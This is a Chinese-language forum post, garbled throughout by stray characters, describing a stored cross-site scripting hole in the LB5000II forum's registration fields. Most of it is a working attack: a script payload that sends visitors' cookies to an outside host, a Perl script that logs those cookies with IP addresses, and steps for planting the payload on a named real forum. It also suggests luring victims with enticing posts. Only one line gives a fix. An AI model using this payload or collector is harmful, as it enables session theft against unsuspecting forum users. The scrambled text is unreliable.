漏洞描述:
2 p8 x. l: k6 M7 o% o LB5000II是国内流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新 7 M5 E2 W. i" ~1 V; l: s# e2 Q- B# h& c
版本是LB5000II v20317b,可以http://www.leoboard.com下载。
5 W2 a" x0 R% L a4 V 其注册模块未过滤用户资料 最高学历:职业状况:等注册信息 * i6 s4 M- g( s( @
导致恶意用户可以通过伪造<s cript>alert(documents.cookie)</s cript>
, m2 j2 h0 ] B: E4 z* |进行攻击,进一步可以通过某中方式收集。测试通过 , |" }5 \5 P% {
测试程序: 0 W7 Q" s4 M( J" F% ~4 r" F" M! B
参考漏洞描述。
& Q4 N( I) K, p. r解决方案: 3 w; @4 i( b! `) Y
对用户提交的资料进行过滤
" W! E; i+ m+ ]: B
) M. W0 x3 m( n" `
! A. [. q# M; i S' i% h/ E* ]请在s8s8论坛访问 9 ^& Z/ S" s* }+ J
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
4 q |' p: A1 C) ~5 r2 U- p3 W那么你在s8s8.net 的cookie将被我所获取. 1 g2 |# M- v N4 X: q
#!/usr/bin/perl
7 Q8 k5 y, z$ ?3 e. @1 C, I! a#leo.cgi
+ p7 O7 D* h( ]1 h$url="http://www.s8s8.net";;
$ ?" A' f0 Y% u. G! Y$method=$ENV{"REQUEST_METHOD"};
$ j" |4 d- V# H9 V( Eif(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};} ! M$ B' x: ^, O
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));} 7 p5 q( g( G e# H7 n t5 X
$remote_addr=$ENV{"REMOTE_ADDR"};
- ^+ v4 f% R& e. U$ J+ Q4 J& G1 {$buffer=~tr/+/ /;
: j9 U9 k( a2 m$ D: w$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
. M0 u. c7 C" r$buffer=$buffer."|$remote_addr\n";
8 h: R5 O4 L# T5 c" Uopen(FILE,">>leo.txt");
3 ?- u9 K. Z4 H9 h yprint FILE $buffer;
: R, Q" m! r* a- ^) R/ |8 jclose(FILE);
+ D7 c+ j( G" p$ M. `% R, Fprint "Location:$url\n\n"; / \8 `' I+ S' ^' k# X: @
上面是我的cookie收集脚本 , b3 b3 ?" \) [: z! [
------------------------------------------------------------------------------ ' Y" q+ H) b, a) G; C- K5 B
范例:以s8s8为例,感谢好友狩猎者 shocknet 帮助测试 - C% y( U O" p7 y: L# s
用大刀队登陆s8s8论坛,编辑个人资料, / T7 z6 @- v! F! _* f, K
用记事本打开编辑网页 ' u, w" D+ [% L% K9 a# L/ a- m
<option value="中专">中专</option> 这一项改成 2 ~4 ?8 N. c& ~8 R: g
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?'+documents.cookie)</s cript>">中专</option>
( b* |# q5 {: i, ^4 \: ?8 t7 ~5 ^4 W
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data"> G/ I, n; W; \2 T" f& q
改为 ) D. o# |" | `
<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
! ] W1 x& ]. H4 Z r7 a ~, P保存编辑的网页,用自己的页登陆,选“中专”一项,提交数据,
8 j% p' j5 A* V. C3 J这样以后只要查看大刀队的资料的用户,那么查看者的cookie资料将被截获。 . ] I" }/ ], g+ R+ q$ ^8 h
为了伪装的更好,可以在论坛发具有诱惑力的帖子连接,吸引人家去点击,
* ^4 p7 v/ O) M什么算诱惑力呢,自己发挥吧。
0 Z) N, v; t3 `, p |